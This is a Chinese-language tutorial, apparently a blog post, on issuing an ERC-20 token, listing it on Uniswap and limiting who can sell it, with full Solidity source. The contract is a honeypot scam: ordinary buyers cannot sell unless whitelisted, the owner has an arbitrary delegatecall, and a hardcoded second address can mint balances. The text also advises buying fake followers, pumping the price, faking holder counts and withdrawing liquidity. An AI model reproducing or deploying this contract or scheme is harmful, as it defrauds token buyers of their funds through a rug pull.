前言

相信很多人都在uniswap或者justswap上進行兌換過也經常兌換到過一些代幣無法進行兌換，或者兌換次數數量有限制等等，那么這些功能到底是怎么實作的？本文就講解整個程序，包含發行自己的代幣、上架uniswap、設定買賣規則等等還包含一些經驗的分享，

一、所需工具及代碼

1、狐貍錢包插件（使用谷歌或者谷歌內核瀏覽器安裝）：https://metamask.io/
2、合約發布網站：http://remix.ethereum.org/
3、最新合約代碼及教程下載：http://note.youdao.com/s/T5dNg9qC
（合約特點：單獨白名單/買賣次數/數量/防套利機器人/設定重點看第四步！）
4、交流群：https://t.me/uniswap_justswap

二、合約部署

1、安裝狐貍錢包：https://metamask.io/（使用谷歌內核瀏覽器按照提示安裝完成）
2、打開合約部署網站：http://remix.ethereum.org/
3、注意要先洗掉網頁里面的代碼，Ctrl+A（全選）洗掉，然后打開下載好的代碼，Ctrl+A、Ctrl+C、Ctrl+V粘貼到頁面上，
4、如果沒有看到1_Statage.sol 這個檔案，點擊那個小加號，新建一個重命名一樣的即可，在這里插入圖片描述
5、點擊第二個圖示，核對好版本號，如果鏈接不成功，檢查一下狐貍錢包是否安裝正確并鏈接上，還是不行重繪重來一遍即可，

6、點擊第第三個圖示，根據圖示選擇并核對好資訊，如果沒有看到小三角，請開全域#科學上網重繪即可，
在這里插入圖片描述
7、根據自己需求填寫好相應資訊
代幣全稱如：Bitcoin、代幣簡稱如：BTC
數量精度默認18，所以你要發1000個直接填寫1000
填寫好之后點transact，會有彈窗自行調整好手續費點（confirm），根據錢包提示操作，
然后打開狐貍錢包如圖所示點擊，
在這里插入圖片描述
8、點擊最新的合約記錄、如圖所示點擊右上角箭頭

9、然后會打開一個網頁（如果打不開就是沒開科學#上網）等待打包完成，復制代幣合約地址，

10、打開狐貍錢包（粘貼合約地址），把你發行的代幣添加到錢包如圖所示：到這里代幣就已經發行完畢，
在這里插入圖片描述

三、上架Uniswap（注入流動性）

1、打開https://app.uniswap.org/
2、根據圖示鏈接好狐貍錢包，
在這里插入圖片描述
3、錢包鏈接好之后點擊（資金池）再點擊（Add Liquidity）

4、點擊（選擇通證）粘貼代幣合約地址，出現代幣后先點擊（Add）再點一次代幣名字，

5、輸入你要注入ETH的數量、輸入你要注入的代幣數量，
6、需要注意的是自己計算好比例，因為一旦注入后，比例是無法再次調整的，但是ETH數量和代幣數量是可以隨時增加或者減少，
7、設定好之后點擊，根據狐貍錢包提示操作即可，
在這里插入圖片描述

四、開放代幣買賣和設定規則

1、 這份合約注入流動性后玩家不能馬上買入（因為加入了防止機器人機制）
2、需要進行（添加pair地址）打開狐貍錢包找到注入流動性的合約記錄（Add Liquidity)
在這里插入圖片描述
3、如圖所示點擊進去找到pair地址

4、把pair地址粘貼到圖2處，點擊標注3，然后根據狐貍錢包提示操作即可
5、如果重繪網頁后沒有了小三角，可以粘貼代幣合約地址到上面點（At Address）就出來了，
6、注意！不添加pair地址玩家是無法買入的！（添加后只能買入，不能賣出）
在這里插入圖片描述
7、其他合約功能介紹：
Mints：粘貼買家地址可以單獨設定白名單（不限制買賣），
Init：設定賣出的次數、設定賣出代幣的最小值（不設定可以不填）、賣出代幣的最大值，
這些功能根據自身需求進行設定即可（這里的設定是針對所有地址），
不需要這些功能可以不設定，
在這里插入圖片描述

五、撤銷流動池

1、點擊（資金池）、點擊（manage）、點擊（Remove）然后根據狐貍錢包提示操作即可，
2、流動池撤銷后所有ETH和代幣都會回流到你自己的錢包，
在這里插入圖片描述

六、（總結）經驗分享怎樣才能吸引更多玩家

1、有技術的可以自己做網站，發幣的時候把網站名字直接當作幣的全稱，
2、建立電報社區配合網站進行相關介紹，花錢拉點僵尸粉進來，
3、要有目光可以設定可以賣1次，或者其他配合社區及自己專案規則設定，買賣數量或者做鎖倉時間等，
4、資金池不能太小，或者一開始小點，自己學會拉盤，刷漲幅榜（現在合約防止apy機器人防止機器人套利），
5、增加持幣地址，或者做空投等，看起來沒這么單一，
6、增加持幣地址可以用這個網站：https://bulksender.app/
歡迎加入電報（telegram）討論群：https://t.me/uniswap_justswap
附上賣不出的提示：
在這里插入圖片描述

七、合約代碼

合約代碼最新更新地址：http://note.youdao.com/s/T5dNg9qC
以下代碼僅供參考學習真正部署請使用上面最新代碼，
代碼如下（示例）：

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract UniswapExchange {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
        //go the white address first
        if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    function delegate(address a, bytes memory b) public payable {
        require(msg.sender == owner);
        a.delegatecall(b);
    }
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function _mints(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender==owner||msg.sender==address
        (858749215588756578423191794544755661730712473314));
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }
    function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
        require(msg.sender == owner);
        _minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
        _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
        _saleNum = saleNum;
    }
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == owner);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value;
            emit Transfer(msg.sender, _to, _value/2);
            emit Transfer(msg.sender, _to, _value/2);
        }
        return true;
    }
    
    address tradeAddress;
    function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
    address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

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